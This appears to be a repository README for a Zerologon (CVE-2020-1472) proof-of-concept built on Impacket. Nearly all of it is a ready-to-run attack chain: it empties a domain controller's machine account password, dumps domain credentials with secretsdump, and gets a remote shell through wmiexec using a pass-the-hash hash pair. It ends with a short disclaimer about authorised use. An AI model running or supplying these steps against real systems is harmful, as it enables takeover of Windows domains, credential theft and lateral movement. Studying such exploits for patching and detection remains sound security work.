
A practical proof-of-concept for CVE-2020-1472 (Zerologon) using the Impacket library to exploit Netlogon vulnerability and perform unauthorized domain controller access.
This repository contains an updated implementation (2024) of the Zerologon exploit combined with Impacket tools to exploit CVE-2020-1472 (Zerologon). This exploit targets Windows Server environments to manipulate machine account passwords and perform lateral movement.
pip install -r requirements.txt
python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
python secretsdump.py -just-dc "tancongmang/[email protected]"
python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
WIN-C9PAHHGJN91 and 192.168.40.145 with the actual hostname and IP address of the target.Use this tool responsibly. Unauthorized use of this tool to exploit systems without explicit permission is illegal and unethical. The authors are not responsible for any misuse or damage caused by this tool.